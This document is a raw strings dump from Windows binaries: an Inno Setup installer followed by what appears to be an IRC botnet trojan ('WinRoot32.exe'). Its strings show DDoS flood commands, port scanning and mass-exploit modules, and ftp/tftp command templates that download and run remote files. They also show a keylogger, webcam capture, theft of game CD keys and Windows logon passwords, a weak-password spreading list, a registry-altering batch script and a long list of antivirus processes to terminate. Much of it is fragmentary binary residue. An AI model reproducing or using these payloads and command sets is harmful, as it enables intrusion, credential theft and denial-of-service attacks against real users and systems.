Original Uninstall EXE:

Detached uninstall MSG:

Install was done in 64-bit mode but not running 64-bit Windows now

Removed all? %s

Not restarting Windows because Uninstall is being run from the debugger.

IMsgt/

isRS-???.tmp

isRS-%.3u.tmp

DisableProcessWindowsGhosting

FTPF0P

0123456789abcdefInno Setup Setup Data (5.2.0)

Inno Setup Messages (5.1.11)

oleaut32.dll

RegQueryInfoKeyA

RegOpenKeyExA

RegEnumKeyExA

RegDeleteKeyA

RegCreateKeyExA

RegCloseKey

GetWindowsDirectoryA

CreateNamedPipeA

mpr.dll

version.dll

gdi32.dll

SetViewportOrgEx

UnhookWindowsHookEx

SetWindowsHookExA

MapVirtualKeyA

GetKeyState

GetKeyNameTextA

ExitWindowsEx

EnumWindows

EnumThreadWindows

comctl32.dll

ole32.dll

ShellExecuteExA

ShellExecuteA

comdlg32.dll

.text

`.rdata

@.data

.pdata

@.rsrc

COMCTL32.dll

SHLWAPI.dll

SetProcessShutdownParameters

KERNEL32.dll

ADVAPI32.dll

SHELL32.dll

OLEAUT32.dll

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

<requestedExecutionLevel level="asInvoker" uiAccess="false"/>

@.pdata

@.srdata

@.sdata

.data

.rsrc

`.data

@.reloc

Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

shlwapi.dll

SOFTWARE\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion\ProfileReconciliation

RegKey

GetWindowsDirectoryW

RegOpenKeyA

SHFOLDER.dll

dll\shfolder.dbg

Font.Color

Font.Height

Font.Name

Font.Style

PasswordEditLabel

name="JR.Inno.Setup"

version="1.0.0.0"

<requestedExecutionLevel level="asInvoker" uiAccess="false"/>

<asmv3:windowsSettings xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">

</asmv3:windowsSettings>

Cannot assign a %s to a %s

Cannot create file %s

Cannot open file %s

Stream write error Out of memory while expanding memory stream*Can't write to a read-only resource stream.WriteObject called twice for the same instance

Class %s not found

Resource %s not found!Resource %s is of incorrect class

List index out of bounds Operation not allowed on sorted string list%String list does not allow duplicates

Tab index out of bounds#A component named %s already exists$''%s'' is not a valid component name

A class named %s already exists#''%s'' is not a valid integer value

Error reading %s.%s: %s

Ancestor for '%s' not found

Bitmap is empty!Cannot change the size of an icon$Unknown picture file extension (.%s)

Unsupported clipboard format

Error creating window Cannot focus a disabled or invisible window!Control '%s' has no parent window

%s property out of range

%s on %s@GroupIndex cannot be less than a previous menu item's GroupIndex2Cannot have more than one MDI form per application

Could not load CARDS.DLL

Duplicate CardId found"An error returned from DDE ($0%x)/DDE Error - conversation not established ($0%x)0Error occurred when DDE ran out of memory ($0%x)"Unable to connect DDE conversation

Grid too large for operation Too many rows or columns deleted

%s on line %d

''%s'' expected

%s expected

Invalid input value7Invalid input value. Use escape key to abandon changes

Value must be between %d and %d<Cannot create a default method name for an unnamed component

''%s'' is not a valid date

''%s'' is not a valid time#''%s'' is not a valid date and time

Invalid file name - %s

All files (*.*)|*.*

&Files: (*.*)

Invalid clipboard format Clipboard does not support Icons

Custom Colors Operation not supported on selected printer.There is no default printer currently selected

Unable to write to %s

Invalid data type for '%s'

Failed to create key %s

Failed to set data for '%s'

Failed to get data for '%s'9Synchronize called when main VCL thread in a WaitFor call0Unknown RichEdit conversion file extension (.%s)

/Menu '%s' is already being used by another form

Failed to Save Stream)StatusBar cannot have more than 64 panels!Error assigning Hot-Key to %s. %s

Hot-Key is invalid#Window is invalid or a child window%Hot-Key is assigned to another window %s is already associated with %s!'%s' is not a valid integer value('%s' is not a valid floating point value

'%s' is not a valid date

'%s' is not a valid time!'%s' is not a valid date and time

I/O error %d

Integer overflow Invalid floating point operation

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Operation aborted%Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'

Invalid variant operation"Variant method calls not supported

External exception %x

n%USERPROFILE%

r%SYSTEMROOT%

5.50.4807.2300

Microsoft(R) Windows (R) 2000 Operating System

Datos de programa%Configuraci

51.48.0.0

Copyright (C) 1997-2007 Jordan Russell. Portions Copyright (C) 2000-2007 Martijn Laan.

0.0.0.0

WinRoot32.exe_332:

.text

`.rdata

@.data

GWSSh

Yt.Wj

udPj

t1SSSShtsB

PhX%C

WhH%C

tSPQh,%C

SSShx(C

Send error: <%d>.

ddos.random

ddos.ack

ddos.syn

Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>.

Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB).

Error: setsockopt() failed, returned: <%d>.

Error: socket() failed, returned: <%d>.

(tcp.p

%s (%s)

. (Return) (%s)

. (Buffer full) (%s)

. (Changed Windows: %s)

Error: recv() failed, returned: <%d>

Suspicious %s packet from: %s:%d - %s.

Error: WSAIoctl() failed, returned: <%d>.

Error: bind() failed, returned: <%d>.

Total: %d in %s.

%s: %d,

(portscan.p

Current IP: %s.

(httpd.p

Failed to start server, error: <%d>.

Server listening on IP: %s:%d, Directory: %s\.

(PTF.p

Server started on Port: %d, File: %s, Request: %s.

(tPTF.p

%d.%d.%d.%d

IP: %s, Port %d is open.

IP: %s:%d, Scan thread: %d, Sub-thread: %d.

Finished at %s:%d after %d minute(s) of scanning.

Failed to start worker thread, error: <%d>.

%s:%d, Scan thread: %d, Sub-thread: %d.

\\%s\pipe\epmapper

echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &%s

tftp -i %s get %s

\\%s\ipc$

(%s.e

trying to root %s

?GET / HTTP/1.0

Host: %s

Authorization: Negotiate %s

cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s

Windows XP (SP0 SP1)

Windows NT4, 2000 (SP0-SP4)

\\%s\pipe\browser

VNC%d.%d %s: %s - [AuthBypass]

RFB d.d

tftp -i %s GET %s

(ftpd.p

%s, port:%d now executing %s on remote machine.

200 PORT command successful.

%s.%s.%s.%s

PORT

425 Passive not supported on this server

215 NzmxFtpd

331 Password required

%s %s

220 NzmxFtpd 0wns j0

PRIVMSG %s :Found %s Files and %s Directories

<TD WIDTH="%d"><CODE>%s</CODE></TD>

<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>

"><CODE>%s</CODE></A>

PRIVMSG %s :%-31s %-21s (%s bytes)

<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>

"><CODE>%s/</CODE></A>

%s%s/

<TD WIDTH="%d"><A HREF="

PRIVMSG %s :%-31s %-21s

%2.2d/%2.2d/M %2.2d:%2.2d %s

<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></TD>

Searching for: %s

<TD WIDTH="%d"><CODE>Name</CODE></TD>

<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>

<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>

<H1>Index of %s</H1>

<TITLE>Index of %s</TITLE>

PRIVMSG %s :Searching for: %s

%s %s HTTP/1.1

Referer: %s

HTTP/1.0 200 OK

Content-Type: %s

Date: %s %s GMT

Last-Modified: %s %s GMT

Expires: %s %s GMT

Worker thread of server thread: %d.

Error: server failed, returned: <%d>.

transfer to %s

, info: (%s).

File not found: %s (%s).

Failed to open file: %s.

Failed to start connection thread, error: <%d>.

Client connection to IP: %s:%d, Server thread: %d.

Failed to start client thread, error: <%d>.

Client connection from IP: %s:%d, Server thread: %d.

Error: Failed to connect to target, returned: <%d>.

Error: Failed to open socket(), returned: <%d>.

Authentication failed. Remote userid: %s != %s.

Failed to start server on Port %d.

Failed to start client thread, error: <%d>.

Client connection from IP: %s:%d, Server thread: %d.

Server started on: %s:%d.

Key3=

Key2=

Key1=

nwncdkey.ini

base\mp\sof2key

Chrome

Software\Techland\Chrome

Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc

Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc

Software\Electronic Arts\EA Sports\NHL 2003\ergc

Software\Electronic Arts\EA Sports\NHL 2002\ergc

Software\Electronic Arts\EA Sports\FIFA 2003\ergc

Software\Electronic Arts\EA Sports\FIFA 2002\ergc

Global Operations

Software\Electronic Arts\EA GAMES\Global Operations\ergc

Microsoft Windows Product ID

Software\Microsoft\Windows\CurrentVersion

prvkey

CDKey

%s\%s

%s CD Key: (%s).

Found: %s\%s

Files found: %d.

Searching for file: %s.

MSGINA

(findpass.p

The Windows logon (Pid: <%d>) information is: Domain: \\%S, User: (%S/%S).

The Windows logon (Pid: <%d>) information is: Domain: \\%S, User: (%S/(N/A)).

Unable to find the password in memory.

The Windows logon (Pid: <%d>) information is: Domain: \\%S, User: (%S/(no password)).

NTDLL.DLL

Only supported on Windows NT/2000.

avicap32.dll

SQLDisconnect

SQLFreeHandle

SQLAllocHandle

SQLExecDirect

SQLSetEnvAttr

SQLDriverConnect

odbc32.dll

ShellExecuteA

shell32.dll

mpr.dll

iphlpapi.dll

dnsapi.dll

netapi32.dll

icmp.dll

Mozilla/4.0 (compatible)

InternetCrackUrlA

InternetOpenUrlA

HttpSendRequestA

HttpOpenRequestA

wininet.dll

ws2_32.dll

gdi32.dll

RegCloseKey

RegCreateKeyExA

RegOpenKeyExA

advapi32.dll

GetKeyState

GetAsyncKeyState

ExitWindowsEx

user32.dll

kernel32.dll

Avicap32.dll failed. <%d>

Odbc32.dll failed. <%d>

Shell32.dll failed. <%d>

Mpr32.dll failed. <%d>

Iphlpapi.dll failed. <%d>

Dnsapi.dll failed. <%d>

Netapi32.dll failed. <%d>

Icmp.dll failed. <%d>

Wininet.dll failed. <%d>

Ws2_32.dll failed. <%d>

Gdi32.dll failed. <%d>

Advapi32.dll failed. <%d>

User32.dll failed. <%d>

Kernel32.dll failed. <%d>

%s Error: %s <%d>.

explorer.exe

%%comspec%% /c %s %s

del "%s"

%sdel.bat

c:\a.bat

Echo REGEDIT4>%temp%\1.reg

Echo.>>%temp%\1.reg

Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]>>%temp%\1.reg

Echo "TransportBindName"="">>%temp%\1.reg

Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]>>%temp%\1.reg

Echo "Start"=dword:00000004>>%temp%\1.reg

Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]>>%temp%\1.reg

Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>%temp%\1.reg

Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg

Echo "EnableDCOM"="N">>%temp%\1.reg

Echo "EnableRemoteConnect"="N">>%temp%\1.reg

Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>%temp%\1.reg

Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg

Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg

Echo "Enabled"=hex:00>>%temp%\1.reg

Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>>%temp%\1.reg

Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg

Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg

Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]>>%temp%\1.reg

Echo "NameServer"="">>%temp%\1.reg

Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg

Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg

Echo "Domain"="">>%temp%\1.reg

Echo "SearchList"="">>%temp%\1.reg

Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg

Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg

Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg

Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg

Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg

Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg

Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg

Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg

Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg

Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg

Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg

Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg

Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg

Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg

Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg

Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg

Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg

Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg

Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg

Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg

Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg

Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg

Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg

Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg

Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg

Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg

Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg

Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg

Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg

Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg

Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg

Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg

Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg

Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg

Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg

Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg

Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg

Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg

Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg

Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\1.reg

Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\1.reg

Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg

Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg

Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg

Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg

Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg

Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg

Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg

Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg

Echo "SackOpts"=dword:00000001>>%temp%\1.reg

Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg

Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg

Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg

Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg

Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg

Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg

Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg

Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg

Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg

Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg

Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg

Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg

Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg

Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg

Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg

Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg

Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg

Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]>>%temp%\1.reg

Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg

Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg

START /WAIT REGEDIT /S %temp%\1.reg

DEL %temp%\1.reg

Not supported by this system.

Error getting ARP cache: <%d>.

sfc_os.dll

fixed, version %d.

Can not open TCPIP.SYS, version %d.

Finished sending pings to %s.

Error sending pings to %s.

(udp.p

Finished sending packets to %s.

PRIVMSG %s :%s

(cmd.p

Failed to start IO thread, error: <%d>.

cmd.exe

Ý %dh %dm

[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]: %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]: %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]: %s. [Uptime]: %s.

[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.

Failed to get requested URL from HTTP server.

URL visited.

Failed to connect to HTTP server.

Invalid URL.

%d. %s = %s

[%.2d-%.2d-M %.2d:%.2d:%.2d] %s

Transfer complete to IP: %s, Filename: %s (%s bytes).

DCC SEND %s %i %i %i

Transfer complete from IP: %s, Filename: %s (%s bytes).

Bad URL, or DNS Error: %s.

Update failed: Error executing file: %s.

Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.

Opened: %s.

Downloaded %.1f KB to %s @ %.1f KB/sec.

CRC Failed (%d != %d).

Filesize is incorrect: (%d != %d).

Update: %s (%dKB transferred).

File download: %s (%dKB transferred).

Couldn't open file: %s.

%s Drive (%s): %s total, %s free, %s available.

%s Drive (%s): Failed to stat, device not ready.

%s %s :%s

PRIVMSG

%s: %s (%s)

The following Windows services are registered:

Units Per Week: %d

Max. Storage: %d

User's Language: %d

Country Code: %d

Workstations: %S

Logon Server: %S

Last Logoff: %d

Last Logon: %d

Number of Logins: %d

Bad Password Count: %d

Password Age: %d

Parameters: %S

Home Directory: %S

Auth Flags: %d

Privilege Level: %s

Comment: %S

User Comment: %S

Full Name: %S

Account: %S

The password is shorter than required (or does not meet the password policy requirement.)

The operation is allowed only on the primary domain controller of the domain.

This network request is not supported.

%s <Server: %S> <Message: %S>

%s: No service specified.

Error with service: '%s'. %s

%s service: '%s'.

%s: No share specified.

%s share: '%s'.

%s: Error with share: '%s'. %s

Share list error: %s <%ld>

%s: No username specified.

%s: Error with username: '%s'. %s

%s username: '%s'.

Total users found: %d.

User list error: %s <%ld>

supported

windows95

windows98

windowsME

windows2k

WindowsXP

00000000

windows

webpage

supporte

support

smtp

report

passphra

operator

mickey

loginwor

keyword

keyin

keybord

asshole

mypass123

mypass

login

ihavenopass

passwd

88888888

11111111

123456789

12345678

1234567

PASSWORD

iroffer v1.3b10 [D&P 23874155], hXXp://iroffer.org/

NICK %s

USER %s 0 0 :%s

PASS %s

TCPIP.SYSPatcher.

%s\drivers\tcpip.sys

Connected to %s.

MODE %s %s

USERHOST %s

User: %s logged in.

Password accepted.

*Failed host auth by: (%s!%s).

*Failed pass auth by: (%s!%s).

NOTICE %s :You've been logged.

NOTICE %s :Nice try, idiot. (%s!%s).

Random nick change: %s

Invalid login slot number: %d.

No user logged in at slot: %d.

Failed to start secure thread, error: <%d>.

%s system.

Failed to start server thread, error: <%d>.

QUIT :%s

Status: Ready. Bot Uptime: %s.

Bot ID: %s.

Failed to start list thread, error: <%d>.

Failed to start listing thread, error: <%d>.

(cdkeys.p

Uptime: %s.

Failed to load dnsapi.dll.

Failed to start search thread, error: <%d>.

Searching for password.

Failed to start scan, port is invalid.

%s Port Scan started on %s:%d with a delay of %d seconds for %d minutes using %d threads.

Nick changed to: '%s'.

Joined channel: '%s'.

Parted channel: '%s'.

IRC Raw: %s.

Failed to kill thread: %s.

Killed thread: %s.

Stopped: %d thread(s).

Prefix changed to: '%c'.

15 Couldn't open file: %s

15 File opened: %s

Server changed to: '%s'.

Lookup: %s -> %s.

Failed to terminate process: %s

Process killed: %s

Failed to terminate process ID: %s

Process killed ID: %s

Deleted '%s'.

Send File: %s, User: %s.

List: %s

Failed to start connection thread, error: <%d>.

URL: %s.

Commands: %s

Read file failed: %s

Read file complete: %s

(keylog.p

Failed to start logging thread, error: <%d>.

Normal key logger active.

Pay sites key logger active.

Keylog

Error while capturing amateur video from webcam.

Amateur video saved to: %s.

Invalid parameters for webcam capture.

Error while capturing from webcam.

Webcam capture saved to: %s.

Driver #%d - %s - %s.

Screen capture saved to: %s.

Gethost: %s.

Gethost: %s, Command: %s

Alias added: %s.

Privmsg: %s: %s.

Action: %s: %s.

PART %s

Mode change: %s

MODE %s

Raw (%s): %s

Mode (%s): %s

Nick (%s): %s

JOIN %s %s

Repeat not allowed in command line: %s

Repeat: %s

%s %s %s :%s

Failed to start download thread, error: <%d>.

Downloading update from: %s.

%s%s.exe

(exec.p

Couldn't execute file.

Failed to start search thread, error: <%d>.

Searching for file: %s in: %s.

Rename: '%s' to: '%s'.

Failed to start flood thread, error: <%d>.

Flooding: (%s) for %s seconds.

Failed to start clone thread, error: <%d>.

Created on %s:%d, in channel %s.

Flooding: (%s:%s) for %s seconds.

Failed to start transfer thread, error: <%d>.

Downloading URL: %s to: %s.

Failed to start redirection thread, error: <%d>.

TCP redirect created from: %s:%d to: %s:%d.

Failed to start scan thread, error: <%d>.

Port scan started: %s:%d with delay: %d(ms).

[%s] <%s> %s

[%s] * %s %s

ACTION %s

%s Exploitation started on %s:%d waiting %d seconds for %d minutes using %d threads.

Already %d scanning threads. Too many specified.

Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).

ICMP.dll not available

Sending %d pings to %s. packet size: %d, timeout: %d(ms).

%s %s flooding: (%s:%s) for %s seconds.

Uploading file: %s to: %s failed.

Uploading file: %s to: %s

PTF.exe

-s:%s

open %s

put %s

%s\%i%i%i.dll

File not found: %s.

PTF.upload

util.hcon

util.httpcon

15 Message sent to %s.

helo $rndnick

mail from: <%s>

rcpt to: <%s>

subject: %s

from: %s

util.email

ddos.tcpf

ddos.tcpflood

ddos.pingf

ddos.pingflood

ddos.udpf

ddos.udpflood

root.start

clone.ac

clone.action

clone.pm

clone.privmsg

root.ps

root.portscan

daemon.rd

daemon.redirect

ddos.synf

ddos.synflood

clone.start

clone.make

ddos.ic

ddos.icmp

com.mv

com.rename

com.execute

irc.de

irc.delay

irc.rp

irc.repeat

clone.part

clone.join

clone.ni

clone.nick

clone.mode

clone.ra

clone.raw

irc.mode

irc.cy

irc.cycle

irc.ac

irc.action

irc.pm

irc.privmsg

irc.aa

irc.addalias

irc.gh

irc.gethost

com.cap

com.capture

Failed to load advapi32.dll or netapi32.dll.

sys.net

cmd.kl.on

keylog

Carnivore stopped. (%d thread(s) stopped.)

Failed to start sniffer thread, error: <%d>.

com.rf

com.readfile

com.cm

com.cmd

mirc.cmd

irc.visit

com.fl

com.filelist

dcc.gt

dcc.get

com.del

com.delete

com.pkid

com.prockillid

com.kpn

com.killprocname

irc.dn

irc.dns

irc.se

irc.setserve

com.open

irc.pr

irc.prefix

clone.rn

clone.rndnick

clone.quit

threads.kill

irc.ra

irc.raw

irc.pt

irc.part

irc.join

irc.nick

root.mass

root.massexploit

com.fp

com.findpass

daemon.tf.on

daemon.tPTF.on

daemon.web.on

daemon.httpd.on

root.cip

root.currentip

util.fdns

util.flushdns

util.farp

util.flusharp

com.gc

com.getclip

Login list complete.

%d. %s

-[Login List]-

irc.who

[CMD]

com.ocmd.off

com.ocmd

com.opencmd

com.dll

com.testdlls

com.drv

com.driveinfo

com.up

com.uptime

com.key

com.harvest

com.ps

com.procs

com.si

com.sysinfo

Failed to start flood thread, error: <%d>.

Flooding: (%s:%s) for %s seconds.

ddos.supersyn

com.ni

com.netinfo

util.clg

util.clearlog

irc.lg

irc.log

irc.al

irc.aliases

threads.list

com.rebewt

irc.id

irc.status

irc.quit

irc.disconnect

irc.reconnect

root.st

root.stats

root.stop

lockdown.stop

clone.off

com.ps.off

com.procs.off

util.ff.off

util.findfile.off

daemon.tPTF.off

ddos.ping.off

UDP flood

ddos.udp.off

ddos.syn.off

ddos.off

TCP redirect

proxy.redirect.off

log.off

daemon.web.off

proxy.socks4.off

proxy.s4.on

proxy.socks4.on

ld.off

lockdown.off

ld.on

lockdown.on

irc.version

irc.logout

irc.di

irc.die

irc.rndnick

$rndnick

Chat failed by unauthorized user: %s.

Chat already active with user: %s.

Failed to start chat thread, error: <%d>.

Chat from user: %s.

Receive file: '%s' failed from unauthorized user: %s.

NOTICE %s :

PING %s

%s has just versioned me.

VERSION %s

Receive file: '%s' from user: %s.

User: %s logged out.

Joined channel: %s.

:%s%s

NICK

NOTICE %s :%s

User %s logged out.

PONG %s

Failed to start registry thread, error: <%d>.

Failed to start AV/FW killer thread, error: <%d>.

%s:*:Enabled:%s

%s %d "%s"

i11r54n4.exe

irun4.exe

d3dupdate.exe

rate.exe

ssate.exe

winsys.exe

winupd.exe

SysMonXP.exe

bbeagle.exe

Penis32.exe

mscvb32.exe

sysinfo.exe

PandaAVEngine.exe

F-AGOBOT.EXE

HIJACKTHIS.EXE

_AVPM.EXE

_AVPCC.EXE

_AVP32.EXE

ZONEALARM.EXE

ZONALM2601.EXE

ZATUTOR.EXE

ZAPSETUP3001.EXE

ZAPRO.EXE

XPF202EN.EXE

WYVERNWORKSFIREWALL.EXE

WUPDT.EXE

WUPDATER.EXE

WSBGATE.EXE

WRCTRL.EXE

WRADMIN.EXE

WNT.EXE

WNAD.EXE

WKUFIND.EXE

WINUPDATE.EXE

WINTSK32.EXE

WINSTART001.EXE

WINSTART.EXE

WINSSK32.EXE

WINSERVN.EXE

WINRECON.EXE

WINPPR32.EXE

WINNET.EXE

WINMAIN.EXE

WINLOGIN.EXE

WININITX.EXE

WININIT.EXE

WININETD.EXE

WINDOWS.EXE

WINDOW.EXE

WINACTIVE.EXE

WIN32US.EXE

WIN32.EXE

WIN-BUGSFIX.EXE

WIMMUN32.EXE

WHOSWATCHINGME.EXE

WGFE95.EXE

WFINDV32.EXE

WEBTRAP.EXE

WEBSCANX.EXE

WEBDAV.EXE

WATCHDOG.EXE

W9X.EXE

W32DSM89.EXE

VSWINPERSE.EXE

VSWINNTSE.EXE

VSWIN9XE.EXE

VSSTAT.EXE

VSMON.EXE

VSMAIN.EXE

VSISETUP.EXE

VSHWIN32.EXE

VSECOMR.EXE

VSCHED.EXE

VSCENU6.02D30.EXE

VSCAN40.EXE

VPTRAY.EXE

VPFW30S.EXE

VPC42.EXE

VPC32.EXE

VNPC3000.EXE

VNLAN300.EXE

VIRUSMDPERSONALFIREWALL.EXE

VIR-HELP.EXE

VFSETUP.EXE

VETTRAY.EXE

VET95.EXE

VET32.EXE

VCSETUP.EXE

VBWINNTW.EXE

VBWIN9X.EXE

VBUST.EXE

VBCONS.EXE

VBCMSERV.EXE

UTPOST.EXE

UPGRAD.EXE

UPDATE.EXE

UPDAT.EXE

UNDOBOOT.EXE

TVTMD.EXE

TVMD.EXE

TSADBOT.EXE

TROJANTRAP3.EXE

TRJSETUP.EXE

TRJSCAN.EXE

TRICKLER.EXE

TRACERT.EXE

TITANINXP.EXE

TITANIN.EXE

TGBOB.EXE

TFAK5.EXE

TFAK.EXE

TEEKIDS.EXE

TDS2-NT.EXE

TDS2-98.EXE

TDS-3.EXE

TCM.EXE

TCA.EXE

TC.EXE

TBSCAN.EXE

TAUMON.EXE

TASKMON.EXE

TASKMO.EXE

TASKMG.EXE

SYSUPD.EXE

SYSTEM32.EXE

SYSTEM.EXE

SYSEDIT.EXE

SYMTRAY.EXE

SYMPROXYSVC.EXE

SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE

SWEEP95.EXE

SVSHOST.EXE

SVCHOSTS.EXE

SVCHOSTC.EXE

SVC.EXE

SUPPORTER5.EXE

SUPPORT.EXE

SUPFTRL.EXE

STCLOADER.EXE

START.EXE

ST2.EXE

SSG_4104.EXE

SSGRATE.EXE

SS3EDIT.EXE

SRNG.EXE

SREXE.EXE

SPYXX.EXE

SPOOLSV32.EXE

SPOOLCV.EXE

SPOLER.EXE

SPHINX.EXE

SPF.EXE

SPERM.EXE

SOFI.EXE

SOAP.EXE

SMSS32.EXE

SMS.EXE

SMC.EXE

SHOWBEHIND.EXE

SHN.EXE

SHELLSPYINSTALL.EXE

SH.EXE

SGSSFW32.EXE

SFC.EXE

SETUP_FLOWPROTECTOR_US.EXE

SETUPVAMEEVAL.EXE

SERVLCES.EXE

SERVLCE.EXE

SERVICE.EXE

SERV95.EXE

SD.EXE

SCVHOST.EXE

SCRSVR.EXE

SCRSCAN.EXE

SCANPM.EXE

SCAN95.EXE

SCAN32.EXE

SCAM32.EXE

SC.EXE

SBSERV.EXE

SAVENOW.EXE

SAVE.EXE

SAHAGENT.EXE

SAFEWEB.EXE

RUXDLL32.EXE

RUNDLL16.EXE

RUNDLL.EXE

RUN32DLL.EXE

RULAUNCH.EXE

RTVSCN95.EXE

RTVSCAN.EXE

RSHELL.EXE

RRGUARD.EXE

RESCUE32.EXE

